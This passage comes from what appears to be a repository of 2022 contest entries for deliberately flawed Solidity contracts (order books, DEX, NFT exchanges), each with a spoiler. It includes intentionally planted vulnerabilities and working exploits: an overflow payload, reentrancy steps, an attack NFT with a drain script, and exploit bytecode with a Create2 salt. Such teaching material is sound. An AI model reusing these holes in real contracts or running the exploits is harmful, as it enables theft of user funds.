backwards search.\n\t\tupdate(oBuy, coke, lt);\n\t}\n\t\n\tfunction update(\n\t\tOrder[] storage can,\n\t\tOrder memory coke,\n\t\tfunction (Order storage, Order storage) internal view returns (bool) compare\n\t) internal {\n\t\t// Create new element.\n\t\tcan.push(coke);\n\t\t// Swap backwards until correct place is reached.\n\t\tfor (uint i = can.length - 1; i > 0 && compare(can[i], can[i - 1]); --i) {\n\t\t\tOrder storage temp = can[i - 1];\n\t\t\tcan[i - 1] = can[i];\n\t\t\tcan[i] = temp;\n\t\t}\n\t}\n\t\n\tfunction cancelOneOrder(Order[] storage can) internal returns (uint) {\n\t\tuint qtt = 0;\n\t\tuint from = 0;\n\t\tbool found = false;\n\t\tfor (uint i = 0; i < can.length; ++i)\n\t\t\tif (can[i].who == msg.sender) {\n\t\t\t\tfrom = i;\n\t\t\t\tfound = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\trequire(found);\n\t\tqtt = can[from].qtt;\n\t\t// Shift left all the orders that are staying.\n\t\tfor (uint i = from; i < can.length - 1; ++i)\n\t\t\tcan[i] = can[i + 1];\n\t\tcan.pop();\n\t\treturn qtt;\n\t}\n\n\tfunction returnFunds(ERC20 t, address who, uint q) internal {\n\t\tif (q > 0)\n\t\t\trequire(t.transfer(who, q));\n\t}\n\n\t/**************************/\n\n\t/* PURE INTERNAL FUNCTIONS */\n\n\tfunction receives(Kind kind, uint price, uint qtt) internal pure returns (uint) {\n\t\tif (kind == Kind.Sell)\n\t\t\treturn (qtt * price) / TH;\n\t\treturn (qtt * TH) / price;\n\t}\n\n\t// Ideally we'd pass an `Order` arg, but we need it for both\n\t// memory and storage so to avoid duplication just pass the members.\n\tfunction isValid(Kind kind, uint price, uint qtt) internal pure returns (bool) {\n\t\treturn receives(kind, price, qtt) > 0;\n\t}\n\n\t/**************************/\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/src/test/MatchMaking.t.sol",
    "content": "// SPDX-License-Identifier: GPL-3\npragma solidity >=0.8.6;\n\nimport \"ds-test/test.sol\";\nimport \"solmate/tokens/ERC20.sol\";\n\nimport \"../MatchMaking.sol\";\n\ncontract MockToken is ERC20 {\n\tconstructor(\n\t\tstring memory _name,\n\t\tstring memory _symbol,\n\t\tuint8 _decimals,\n\t\tuint _amt\n\t) ERC20(_name, _symbol, _decimals) {\n\t\t_mint(msg.sender, _amt);\n\t}\n}\n\n// Mock user for the hack test.\ncontract User {\n\tERC20 token1;\n\tERC20 token2;\n\tMatchMaking mm;\n\n\tconstructor(ERC20 t1, ERC20 t2, MatchMaking m) {\n\t\ttoken1 = t1;\n\t\ttoken2 = t2;\n\t\tmm = m;\n\t}\n\n\tfunction push(Order memory o) public {\n\t\tif (o.kind == Kind.Sell)\n\t\t\ttoken1.approve(address(mm), o.qtt);\n\t\telse\n\t\t\ttoken2.approve(address(mm), o.qtt);\n\t\tmm.push(o);\n\t}\n\n\tfunction cancelOneSellOrder() public {\n\t\tmm.cancelOneSellOrder();\n\t}\n\n\tfunction cancelOneBuyOrder() public {\n\t\tmm.cancelOneBuyOrder();\n\t}\n}\n\ncontract MatchMakingTest is DSTest {\n\tERC20 token1;\n\tERC20 token2;\n\tMatchMaking mm;\n\n\tevent O(Order order);\n\n    function setUp() public {\n\t\ttoken1 = new MockToken(\"A\", \"A\", 18, type(uint).max);\n\t\ttoken2 = new MockToken(\"B\", \"B\", 18, type(uint).max);\n\t\tmm = new MatchMaking(token1, token2);\n\t}\n\n\tfunction test_match_simple() public {\n\t\tuint amt = 100;\n\t\tuint price = 10**9;\n\n\t\ttoken1.approve(address(mm), 10**12);\n\t\ttoken2.approve(address(mm), 10**12);\n\n\t\tmm.push(Order(Kind.Sell, price, amt, address(this)));\n\t\tmm.push(Order(Kind.Buy, price, amt, address(this)));\n\n\t\tmm.matchAll();\n\t}\n\n\tfunction test_match_simple_diff_ratio() public {\n\t\tuint amt = 100;\n\t\tuint price = 1; // 10^9 token1 = 1 token2\n\n\t\ttoken1.approve(address(mm), 10**12);\n\t\ttoken2.approve(address(mm), 10**12);\n\n\t\tmm.push(Order(Kind.Sell, price, 10**10+1, address(this)));\n\t\tmm.push(Order(Kind.Buy, price, 1, address(this)));\n\n\t\tmm.matchAll();\n\t}\n\n\tfunction test_match_diff_qtt() public {\n\t\tuint amt = 100;\n\t\tuint price = 10**9;\n\n\t\ttoken1.approve(address(mm), 10**12);\n\t\ttoken2.approve(address(mm), 10**12);\n\n\t\tmm.push(Order(Kind.Sell, price, amt, address(this)));\n\t\tmm.push(Order(Kind.Sell, price, 1, address(this)));\n\t\tmm.push(Order(Kind.Buy, price, amt / 2, address(this)));\n\t\tmm.push(Order(Kind.Buy, price, amt / 2, address(this)));\n\t\tmm.push(Order(Kind.Buy, price, amt / 2, address(this)));\n\n\t\tmm.matchAll();\n\t}\n\n\n\tfunction test_sell() public {\n\t\tuint[] memory prices = new uint[](4);\n\t\tprices[0] = 100;\n\t\tprices[1] = 1; // goes last\n\t\tprices[2] = 100_000; // goes first\n\t\tprices[3] = 10; // goes in between\n\n\t\tuint amt = 10**9;\n\n\t\ttoken1.approve(address(mm), amt * prices.length);\n\n\t\tfor (uint i = 0; i < prices.length; ++i)\n\t\t\tmm.push(Order(Kind.Sell, prices[i], amt, address(this)));\n\n\t\tfor (uint i = 0; i < prices.length; ++i) {\n\t\t\t(Kind kind, uint price, uint qtt, address who) = mm.oSell(i);\n\t\t\temit O(Order(kind, price, qtt, who));\n\t\t}\n\t}\n\n\tfunction test_buy() public {\n\t\tuint[] memory prices = new uint[](4);\n\t\tprices[0] = 10;\n\t\tprices[1] = 100_000; // goes last\n\t\tprices[2] = 1; // goes first\n\t\tprices[3] = 100; // goes in between\n\n\t\tuint amt = 100;\n\n\t\ttoken2.approve(address(mm), amt * prices.length);\n\n\t\tfor (uint i = 0; i < prices.length; ++i)\n\t\t\tmm.push(Order(Kind.Buy, prices[i], amt, address(this)));\n\n\t\tfor (uint i = 0; i < prices.length; ++i) {\n\t\t\t(Kind kind, uint price, uint qtt, address who) = mm.oBuy(i);\n\t\t\temit O(Order(kind, price, qtt, who));\n\t\t}\n\t}\n\n\tfunction test_cancel() public {\n\t\tuint[] memory prices = new uint[](4);\n\t\tprices[0] = 10;\n\t\tprices[1] = 100_000;\n\t\tprices[2] = 1;\n\t\tprices[3] = 100;\n\n\t\tuint amt = 10**9;\n\n\t\tuint bal = token1.balanceOf(address(this));\n\n\t\ttoken1.approve(address(mm), amt * prices.length);\n\n\t\tfor (uint i = 0; i < prices.length; ++i)\n\t\t\tmm.push(Order(Kind.Sell, prices[i], amt, address(this)));\n\n\t\tassertEq(token1.balanceOf(address(this)), bal - amt * prices.length);\n\n\t\tfor (uint i = 0; i < prices.length; ++i)\n\t\t\tmm.cancelOneSellOrder();\n\n\t\tassertEq(token1.balanceOf(address(this)), bal);\n\t}\n\n\tfunction test_hack() public {\n\t\tUser user = new User(token1, token2, mm);\n\t\tUser hacker = new User(token1, token2, mm);\n\n\t\ttoken1.transfer(address(user), 1_000_000);\n\t\ttoken1.transfer(address(hacker), 1_000);\n\n\t\ttoken2.transfer(address(user), 1_000_000);\n\n\t\t// user is selling at 1:1\n\t\t// sends 1000 token1 tokens to MM\n\t\tuser.push(Order(Kind.Sell, 10**9, 1_000, address(user)));\n\n\t\tassertEq(token1.balanceOf(address(hacker)), 1_000);\n\t\t// hacker overwrites user's order\n\t\thacker.push(Order(Kind.Sell, 10**10, 1_000, address(hacker)));\n\t\t// hacker cancels the orders and collects their own\n\t\t// plus user's token1 tokens\n\t\thacker.cancelOneSellOrder();\n\t\thacker.cancelOneSellOrder();\n\t\t// RUGPULL\n\t\tassertEq(token1.balanceOf(address(hacker)), 2_000);\n\t}\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission4_WilliamBowling/DoubleDex.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.9;\n\n/**\n * @dev Required functions for interacting with the tokens\n */\ninterface IERC20 {\n    function balanceOf(address account) external view returns (uint256);\n\n    function transfer(address to, uint256 amount) external returns (bool);\n\n    function transferFrom(\n        address sender,\n        address recipient,\n        uint256 amount\n    ) external returns (bool);\n}\n\ninterface LoanReceiver {\n    function loan(uint256 tokenOneAmount, uint256 tokenTwoAmount) external;\n}\n\n/**\n * @dev A simple DEX where `tokenOne` is always twice as much as `tokenTwo`\n */\ncontract DoubleDex {\n    event Deposit(address user, uint256 tokenOneAmount, uint256 tokenTwoAmount);\n    event Withdraw(address user, uint256 tokenOneAmount, uint256 tokenTwoAmount);\n    event Swap(address user, int256 tokenOneAmount, int256 tokenTwoAmount);\n\n    mapping(address => uint256) tokenOneBalances;\n    mapping(address => uint256) tokenTwoBalances;\n\n    address public tokenOne;\n    address public tokenTwo;\n\n    bool private locked = false;\n\n    modifier lock() {\n        require(!locked);\n        locked = true;\n\n        _;\n\n        locked = false;\n    }\n\n    constructor(address _tokenOne, address _tokenTwo) {\n        require(_tokenOne != address(0));\n        require(_tokenTwo != address(0));\n\n        tokenOne = _tokenOne;\n        tokenTwo = _tokenTwo;\n    }\n\n    /**\n     * @dev Deposit tokens.\n     *\n     * Any ratio of tokens can be deposited, the ratio is only enforces when withdrawing\n     */\n    function depositTokens(uint256 tokenOneAmount, uint256 tokenTwoAmount) external {\n        tokenOneBalances[msg.sender] += tokenOneAmount;\n        tokenTwoBalances[msg.sender] += tokenTwoAmount;\n\n        emit Deposit(msg.sender, tokenOneAmount, tokenTwoAmount);\n\n        require(IERC20(tokenOne).transferFrom(msg.sender, address(this), tokenOneAmount), 'Transfer failed');\n        require(IERC20(tokenTwo).transferFrom(msg.sender, address(this), tokenTwoAmount), 'Transfer failed');\n    }\n\n    /**\n     * @dev Withdraw tokens.\n     *\n     * Requires that after the withdrawal the balance of `tokenTwo` is 2x the balance of `tokenOne`\n     */\n    function withdrawTokens(uint256 tokenOneAmount, uint256 tokenTwoAmount) external {\n        require(IERC20(tokenOne).balanceOf(address(this)) >= tokenOneAmount, 'Not enough liquidity');\n        require(IERC20(tokenTwo).balanceOf(address(this)) >= tokenTwoAmount, 'Not enough liquidity');\n\n        require(tokenOneBalances[msg.sender] >= tokenOneAmount, 'Not enough balance');\n        require(tokenTwoBalances[msg.sender] >= tokenTwoAmount, 'Not enough balance');\n\n        require(willMaintainRatio(tokenOneAmount, tokenTwoAmount), 'Must maintain the 2-1 ratio of tokens');\n\n        tokenOneBalances[msg.sender] -= tokenOneAmount;\n        tokenTwoBalances[msg.sender] -= tokenTwoAmount;\n\n        emit Withdraw(msg.sender, tokenOneAmount, tokenTwoAmount);\n\n        require(IERC20(tokenOne).transfer(msg.sender, tokenOneAmount), 'Transfer failed');\n        require(IERC20(tokenTwo).transfer(msg.sender, tokenTwoAmount), 'Transfer failed');\n    }\n\n    /**\n     * @dev The fixed exchange rate between tokenOne and tokenTwo, which is always double.\n     */\n    function tokenRate(uint256 amount) public pure returns (uint256) {\n        return amount << 1;\n    }\n\n    /**\n     * @dev Check to see if the deposit or withdrawal will keep the correct ratio of token\n     */\n    function willMaintainRatio(uint256 tokenOneAmount, uint256 tokenTwoAmount) public view returns (bool) {\n        uint256 tokenOneBalance = IERC20(tokenOne).balanceOf(address(this));\n        uint256 tokenTwoBalance = IERC20(tokenTwo).balanceOf(address(this));\n\n        return tokenRate(tokenOneBalance - tokenOneAmount) == tokenTwoBalance - tokenTwoAmount;\n    }\n\n    /**\n     * @dev Swap `tokenOneAmount` of `tokenOne` for 2x the amount of `tokenTwo`\n     */\n    function swapTokenOneForTokenTwo(uint256 tokenOneAmount) external {\n        require(tokenOneAmount > 0, 'Amount must be > 0');\n\n        uint256 tokenTwoAmount = tokenRate(tokenOneAmount);\n\n        require(tokenOneBalances[msg.sender] >= tokenOneAmount, 'Not enough balance');\n\n        tokenOneBalances[msg.sender] -= tokenOneAmount;\n        tokenTwoBalances[msg.sender] += tokenTwoAmount;\n\n        emit Swap(msg.sender, -int256(tokenOneAmount), int256(tokenTwoAmount));\n    }\n\n    /**\n     * @dev Swap 2x `tokenOneAmount` of `tokenTwo` for `tokenOneAmount` of `tokenTwo`\n     */\n    function swapTokenTwoForTokenOne(uint256 tokenOneAmount) external {\n        require(tokenOneAmount > 0, 'Amount must be > 0');\n\n        uint256 tokenTwoAmount = tokenRate(tokenOneAmount);\n\n        require(tokenTwoBalances[msg.sender] >= tokenTwoAmount, 'Not enough balance');\n\n        tokenTwoBalances[msg.sender] -= tokenTwoAmount;\n        tokenOneBalances[msg.sender] += tokenOneAmount;\n\n        emit Swap(msg.sender, int256(tokenOneAmount), -int256(tokenTwoAmount));\n    }\n\n    /**\n     * @dev Allow anyone to take out a flash loan for a 0.3% fee\n     */\n    function flashLoan(\n        uint256 tokenOneAmount,\n        uint256 tokenTwoAmount,\n        address to\n    ) external lock {\n        require(to != address(0));\n\n        uint256 preTokenOneBalance = IERC20(tokenOne).balanceOf(address(this));\n        uint256 preTokenTwoBalance = IERC20(tokenTwo).balanceOf(address(this));\n\n        require(preTokenOneBalance >= tokenOneAmount, 'Not enough liquidity');\n        require(preTokenTwoBalance >= tokenOneAmount, 'Not enough liquidity');\n\n        uint256 tokenOneFee = (tokenOneAmount * 3) / 1000;\n        uint256 tokenTwoFee = (tokenTwoAmount * 3) / 1000;\n\n        require(IERC20(tokenOne).transfer(msg.sender, tokenOneAmount), 'Transfer failed');\n        require(IERC20(tokenTwo).transfer(msg.sender, tokenTwoAmount), 'Transfer failed');\n\n        LoanReceiver(to).loan(tokenOneAmount, tokenTwoAmount);\n\n        require(IERC20(tokenOne).balanceOf(address(this)) >= preTokenOneBalance + tokenOneFee, 'Loan not repaid');\n        require(IERC20(tokenTwo).balanceOf(address(this)) >= preTokenTwoBalance + tokenTwoFee, 'Loan not repaid');\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission4_WilliamBowling/readme.md",
    "content": "# DoubleDex\n\nExchanges are always so complicated these days, let's go back to basics. DoubleDex pegs the ratio between the tokens on withdrawal so that there are always twice as many of one token vs the other, keeping a nice and simple exchange rate of 2-1."
  },
  {
    "path": "2022/submissions_2022/submission4_WilliamBowling/spoiler.md",
    "content": "# DoubleDex\n\nThe token rate is calculated using `amount << 1` to double the amount. Since this operation has no overflow check, providing a very large `amount` can result in a value smaller than `amount` being returned. If a user with no balance calls `doubleDex.swapTokenTwoForTokenOne(0x8000000000000000000000000000000000000000000000000000000000000000)` then `tokenTwoAmount` will end up being `0` and the users `tokenOne` balance will be set to `0x8000000000000000000000000000000000000000000000000000000000000000` allowing them to then drain all of the tokens."
  },
  {
    "path": "2022/submissions_2022/submission5_ArthurHsiao/NFTExchange.sol",
    "content": "//SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\";\n\ncontract NFTExchange {\n\n    enum ItemStatus { Private, OnSale }\n\n    struct Item {\n        address tokenAddress;\n        uint256 tokenId;\n        address payable seller;\n        uint256 price; // denominated in ETH, unit is wei\n        ItemStatus status;\n    }\n\n    // mapping from tokenAddress to tokenId to item\n    mapping (address => mapping (uint256 => Item)) items;\n\n    event List(address indexed tokenAddress, uint256 tokenId, uint256 price);\n\n    event Buy(address indexed tokenAddress, uint256 tokenId, address seller, address buyer);\n\n    function listItem(address tokenAddress, uint256 tokenId, uint256 price) public {\n        IERC721 nft = IERC721(tokenAddress);\n        require(nft.ownerOf(tokenId) == msg.sender, \"only owner can list item\");\n        require(nft.getApproved(tokenId) == address(this) || nft.isApprovedForAll(msg.sender, address(this)), \"owner has to approve exchange\");\n        Item storage item = items[tokenAddress][tokenId];\n        item.tokenAddress = tokenAddress;\n        item.tokenId = tokenId;\n        item.seller = payable(msg.sender);\n        item.price = price;\n        item.status = ItemStatus.OnSale;\n        emit List(tokenAddress, tokenId, price);\n    }\n\n    function buyItem(address tokenAddress, uint256 tokenId) public payable {\n        updateItemStatus(tokenAddress, tokenId);\n        Item storage item = items[tokenAddress][tokenId];\n        require(item.tokenAddress != address(0), \"item does not exist\");\n        require(item.status == ItemStatus.OnSale, \"item is not on sale\");\n        require(msg.value >= item.price, \"buyer has to pay more than price\");\n        IERC721 nft = IERC721(tokenAddress);\n        item.status = ItemStatus.Private;\n        nft.transferFrom(item.seller, msg.sender, item.tokenId);\n        item.seller.transfer(msg.value);\n        emit Buy(tokenAddress, tokenId, item.seller, msg.sender);\n    }\n\n    function updateItemStatus(address tokenAddress, uint256 tokenId) public {\n        Item storage item = items[tokenAddress][tokenId];\n        if (item.tokenAddress != address(0)) {\n            IERC721 nft = IERC721(tokenAddress);\n            if (nft.getApproved(tokenId) != address(this) && !nft.isApprovedForAll(msg.sender, address(this))) {\n                item.status = ItemStatus.Private;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission5_ArthurHsiao/README.md",
    "content": "# Decentralized NFT Exchange\n\nThis contract allows sellers to list their NFTs for sale and allows buyers to pay Ether for NFT. It is simple, flexible and decentralized.\n\nBenefits for sellers:\n* Sellers don't have to escrow their NFTs into the contract for listing. They just need approve the contract to transfer. So their NFTs are still safe in their wallet before selling them.\n* Sellers have to set the price denominated in Wei for listing. And they can change the price at any time.\n* Sellers can reset the approval if they want to unlist their NFTs.\n\nBenefits for buyers:\n* Buyers don't have to wrap Ether. They can pay native Ether for any NFTs on sale.\n* Buyers don't have to escrow Ether to trade NFTs. They receive what they want immediately when they pay.\n\nOops! There is a flaw on this contract. The flaw is described in [spoiler.txt](./spoiler.txt)\n"
  },
  {
    "path": "2022/submissions_2022/submission5_ArthurHsiao/spoiler.txt",
    "content": "Spoiler for Decentralized NFT Exchange\n\nHacker can steal all NFTs on sale without paying any Ether using `Cross-functions Reentrance`.\n\nHere is the attack process:\n1. Hacker can buy a NFT with a malicious contract that contains `onERC721Received` and `receive` functions.\n2. At the moment hacker buy a NFT, exchange will tranfer it to malicious contract, and then call `onERC721Received` on malicious contract.\n3. What `onERC721Received` on malicious contract does is to relist the NFT. This action on exchage contract overwrites the seller of this NFT to malicious contract.\n4. As a result of overwrites changes of seller, the money hacker pays will return back to malicious contract.\n5. After money return back to malicious contract, `receive` function will run. And hacker can repeat step 2 ~ 5 to steal the next NFT.\n\nBecause both `buyItem` and `listItem` functions on exchange contract update storage state of item, hacker is able to manipulate it by cross-functions reentrance. Even developers follow the Checks-Effects-Interactions pattern, this flaw is still hard to find in large codebase. Solidity developers should aware every functions where storage variables are used and make sure they don't affect each others.\n"
  },
  {
    "path": "2022/submissions_2022/submission6_KurtWillis/README.md",
    "content": "# NFT Order Book\n\n`contracts/NFTOrderBook.sol` implements a light-weight orderbook-style NFT market.\nThis market-place does not support ERC20 payments and relies on cold, hard eth.\nThe bid value must be transferred upfront (refunds/cancellations tba in V2).\n\nBefore an offer can be accepted, a corresponding bid (identified by a `bytes32` hash) must exist.\nOffers can be placed and accepted in batches for your convenience.\nHelper functions are prefixed with `get`.\n\nThis market-place knows the chain is a scary place with hackers lurking everywhere.\nA 20% tax is the minimum compensation for taking on this risk.\n\n## Goal\n\nThe goal is to drain a big portion of the market-place's funds.\nA template file for the setup is provided in `test/orderbook.js`.\n"
  },
  {
    "path": "2022/submissions_2022/submission6_KurtWillis/SPOILER.md",
    "content": "# SPOILER\n\nA simple dummy NFT that won't change ownership is needed.\n\n```js\ncontract AttackNFT {\n    address owner;\n\n    constructor() {\n        owner = msg.sender;\n    }\n\n    function ownerOf(uint256) external view returns (address) {\n        return owner;\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 tokenId\n    ) external {\n        //\n    }\n}\n```\n\nThen, an order can be placed for this NFT.\n\n```js\n[attacker, accomplice] = await ethers.getSigners();\nconst nft = await (await ethers.getContractFactory('AttackNFT', attacker)).deploy();\n\nawait orderbook.connect(accomplice).placeOffers([nft.address], [0], [ethers.utils.parseEther('1.25')], {\n  value: ethers.utils.parseEther('1.25'),\n});\n\nconst hash = await orderbook.getOfferHash(accomplice.address, nft.address, 0);\nawait orderbook.connect(attacker).acceptOffers(Array(51).fill(hash));\n```\n\nThis order can be accepted multiple times, because there is a mismatch between\nthe orders stored in memory and the ones on-chain. In this case, the order value `price`\nis being used to \"block\" future (profitable) fillings of the order. If this were directly\nread from the contract state, this vulnerability would not be possible.\n\nMy experience so far mainly comes from looking at NFT contracts.\nIn particular, I've seen many staking contracts fall prey to this attack.\n\nOften, there exists a `claimRewards(uint[] calldata tokenIds)` function\nthat first calculates the rewards in a loop and then afterwards, in another,\n`lastClaimed[tokenId] = block.timestamp` is set.\nHere, also, because of unexpected user-input, the rewards can be claimed multiple times.\n\nThis challenge combined this idea with the slight twist, that a non-standard NFT contract\nmust be used in order to bypass the ownership-check.\n"
  },
  {
    "path": "2022/submissions_2022/submission6_KurtWillis/contracts/NFTOrderBook.sol",
    "content": "//SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\n\ncontract NFTOrderBook {\n    struct Offer {\n        bytes32 hash;\n        address bidder;\n        IERC721 collection;\n        uint256 tokenId;\n        uint256 price;\n    }\n\n    mapping(bytes32 => Offer) _offers;\n\n    constructor() payable {\n        require(msg.value == 50 ether);\n    }\n\n    /* ------------- Exchange ------------ */\n\n    function placeOffers(\n        IERC721[] calldata collections,\n        uint256[] calldata tokenIds,\n        uint256[] calldata prices\n    ) public payable {\n        uint256 totalValue;\n\n        for (uint256 i; i < collections.length; i++) {\n            bytes32 hash = getOfferHash(msg.sender, collections[i], tokenIds[i]);\n            _offers[hash] = Offer(hash, msg.sender, collections[i], tokenIds[i], prices[i]);\n\n            totalValue += prices[i];\n        }\n\n        require(msg.value >= totalValue, 'Ser, the money?');\n    }\n\n    function acceptOffers(bytes32[] memory hashes) public {\n        Offer[] memory offers = getOffers(hashes);\n        for (uint256 i; i < offers.length; i++) {\n            Offer memory offer = offers[i];\n\n            require(msg.sender != offer.bidder, 'No tricks, ser.');\n            require(offer.collection.ownerOf(offer.tokenId) == msg.sender, 'Ser, the nft please?');\n\n            offer.collection.transferFrom(msg.sender, offer.bidder, offer.tokenId);\n            payable(msg.sender).transfer((offer.price * 8) / 10); // 20% tax\n\n            delete _offers[offer.hash];\n        }\n    }\n\n    /* ------------- View ------------ */\n\n    function getOfferHash(\n        address bidder,\n        IERC721 collection,\n        uint256 tokenId\n    ) public pure returns (bytes32) {\n        return keccak256(abi.encode(bidder, collection, tokenId));\n    }\n\n    function getOffers(bytes32[] memory hashes) public view returns (Offer[] memory offers) {\n        offers = new Offer[](hashes.length);\n        for (uint256 i; i < hashes.length; i++) offers[i] = _offers[hashes[i]];\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission7_RobertoCano/EXPLOIT/SPOILER.md",
    "content": "# Intro\n\nWell, so you looked at the code and saw that the team has this nice kind of multi-transaction `deposit()` function. They get the serialized parameters from the user, chek if it is an ETH pool or a token pool, and then use the correct selector for the contract. However...what would happen if the wrong contract is used? The selector must match, otherwise Solidity will reject the call. But, what would happen if the wrong encoded parameters are given? Sure, Solidity would check that the type of the parameters is correct, right? Or at least that the amount of serialized data is correct, right? Right??\n\n# The Hack\n\nYou can check `VeryCoolAMMExploit.sol` for an example of the exploit contract (just missing the withdraw function).\n\n-   The first thing for the hack to work is to fetch the `VeryCoolPeryphery.defaultETHPool()` and add it back as a token pool with `VeryCoolPeryphery`.addTokenPool()\n-   The function `VeryCoolPeryphery.\\_getSelector()` checks first if the given pool is an ETH pool and returns the correct selector for the `deposit()` function. However the `VeryCoolPeryphery.\\_getCallData()` first checks if the pool is a Token pool. Because the ETH pool is now registered as both types of pool, this causes the contract to call the `VeryCoolPoolETH` contract with the right selector but the wrong serialized data\n-   This is particularly dangerous because the call data for `VeryCoolETHPool.deposit()` is shorter than the call data for `VeryCoolTokenPool.deposit()`. Even though VeryCoolPeryphery injects the correct `msg.sender` and the correct third-party staking pool, the attacker can actually change the timestamp and the third-party staking pool to whatever she wants\n-   There is one limitation though: the attacker can only control 128 bits of the third-party staker address, so she must find the right salt for a `Create2` call that generates an address which first 32-bits are set to zero. This is difficult, but definitely not impossible. Below this section you can find an example salt that generates the right address for `VeryCoolAMMExploit.sol`\n-   The attacker then deploys the attacking contract on the generated address. This contract calls `VeryCoolPeryphery.deposit()` with the `defaultETHPool` and the two `uint128` serialized parameters. The first `uint128` will be the timestamp for the withdrawal time, that will be set to `bock.timestamp+1` to be able to withdraw on the very next second. The second `uint128` is the address of the deployed exploit contract (that only has 128-bits). This causes `VeryCoolPeryphery` to call into the `VeryCoolETHPool.deposit()` with the user-given timestamp and the address of the exploiting contract\n-   The `VeryCoolETHPool` adds the amount of ETH received to the balance of the exploiting contract, and marks the funds locked until the given timestamp (which will be the very next second). Then it calls back into the given staker, which is of course the exploiting contract, thus giving back all the ETH to the attacker. The exploiting contract could rinse and repeat before running out of gas for a reentrancy attack.\n-   Finally, withdraw much more than given (actually, infinite more times than given ;) ) for profit\n\n# 128-bits Address Generation\n\nIn order for this hack to work, the hacker should be able to generate an address with only 128-bits, being the first 32 bits zero. This relies on a brute-force attack in which you have a probability of 1/(2^32) of finding such an address. Even though it is a small probability, you can run millions of hashes per second, and you can find such an address in just a few hours on a regular laptop.\n\nFor this entry I wrote a small C program to generate Create2 addresses where the first 32-bits are zero. It took around 30 minutes to find one, although testing other set of data it could take around 2 hours. I show the result here as an example. Deployer address is Metamorphic's factory contract on Ethereum Mainnet. It could be directly used to deploy the exploit and hack the protocol:\n\n## Deployer\n\n[Metamorphic Factory Mainnet contract](https://github.com/0age/metamorphic)\n0x00000000e82eb0431756271F0d00CFB143685e7B\n\n## Bytecode\n\n0x608060405234801561001057600080fd5b50610433806100206000396000f3fe6080604052600436106100295760003560e01c80633a4b66f11461002e578063d207604d14610038575b600080fd5b61003661004b565b005b610036610046366004610267565b610072565b600254156100705760028054906000610063836102b9565b91905055506100706100b4565b565b600080546001600160a01b038086166001600160a01b031992831617909255600180549285169290911691909117905560028190556100af6100b4565b505050565b60408051600180825281830190925260009160208083019080368337505060015482519293506001600160a01b0316918391506000906100f6576100f66102d0565b6001600160a01b039290921660209283029190910190910152604080516001808252818301909252600091816020015b60608152602001906001900390816101265790505090506101484260016102e6565b6040805160208101929092526fffffffffffffffffffffffffffffffff30169082015260600160405160208183030381529060405281600081518110610190576101906102d0565b602090810291909101015260408051600180825281830190925260009181602001602082028036833701905050905034816000815181106101d3576101d36102d0565b60209081029190910101526000546040516313be2c6360e11b81526001600160a01b039091169063277c58c690349061021490879087908790600401610339565b6000604051808303818588803b15801561022d57600080fd5b505af1158015610241573d6000803e3d6000fd5b5050505050505050565b80356001600160a01b038116811461026257600080fd5b919050565b60008060006060848603121561027c57600080fd5b6102858461024b565b92506102936020850161024b565b9150604084013590509250925092565b634e487b7160e01b600052601160045260246000fd5b6000816102c8576102c86102a3565b506000190190565b634e487b7160e01b600052603260045260246000fd5b600082198211156102f9576102f96102a3565b500190565b600081518084526020808501945080840160005b8381101561032e57815187529582019590820190600101610312565b509495945050505050565b606080825284519082018190526000906020906080840190828801845b8281101561037b5781516001600160a01b031684529284019290840190600101610356565b50505083810382850152855180825282820190600581901b8301840188850160005b8381101561040457601f19808785030186528251805180865260005b818110156103d4578281018b01518782018c01528a016103b9565b818111156103e55760008b83890101525b5096890196601f0190911693909301870192509086019060010161039d565b5050868103604088015261041881896102fe565b9a995050505050505050505056fea164736f6c6343000809000a\n\n## Salt\n\n000000000000000000000000000000000000000000000000000000004dcd27b5\n\n## Generated Address\n\n0x00000000125fd11e858acfe3af6797cc16976612\n\n# Summary\n\nThis entry aims to show how Solidity serializes data and how low-level function call works. Also it hints to the characteristics of entropy when generating deterministic addresses. In particular:\n\n-   Basic data types like **uint128**, **bool** or **address** are serialized as **uint256** values\n-   When using low-level call, even through _OpenZeppelin_ `Address.functionCall()`, the type or size of parameters is NOT checked. This particularly means that you can pass more data than needed to the function call and it will be accepted.\n-   It is possible for an attacker to generate `Create2` addressess that fit in less than 160-bits\n-   Check carefully all the implications derived from the use of functions by unpriviledged users\n-   Order of checks in if...else may be important when working with serialized data\n\nHope you liked it! I definitely had a lot of fun with it :)\n"
  },
  {
    "path": "2022/submissions_2022/submission7_RobertoCano/EXPLOIT/VeryCoolAMMExploit.sol",
    "content": "//SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nimport \"hardhat/console.sol\";\n\ninterface IVeryCoolPeryphery {\n    function deposit(\n        address[] calldata pools,\n        bytes[] calldata params,\n        uint256[] calldata sendValues\n    ) external payable;\n}\n\ncontract VeryCoolAMMExploit {\n    address private veryCoolAMM;\n    address private ethPool;\n\n    uint256 private doAgainTimes;\n\n    function exploit(\n        address _veryCoolAMM,\n        address _ethPool,\n        uint256 _doAgainTimes\n    ) external payable {\n        veryCoolAMM = _veryCoolAMM;\n        ethPool = _ethPool;\n        doAgainTimes = _doAgainTimes;\n\n        _callVeryCoolAMM();\n    }\n\n    function stake() external payable {\n        if (doAgainTimes > 0) {\n            doAgainTimes--;\n            _callVeryCoolAMM();\n        }\n    }\n\n    function _callVeryCoolAMM() internal {\n        address[] memory pools = new address[](1);\n        pools[0] = ethPool;\n        bytes[] memory paramsList = new bytes[](1);\n        paramsList[0] = abi.encode(block.timestamp + 1, uint128(uint160(address(this))));\n        uint256[] memory values = new uint256[](1);\n        values[0] = msg.value;\n\n        IVeryCoolPeryphery(veryCoolAMM).deposit{ value: msg.value }(pools, paramsList, values);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission7_RobertoCano/README.md",
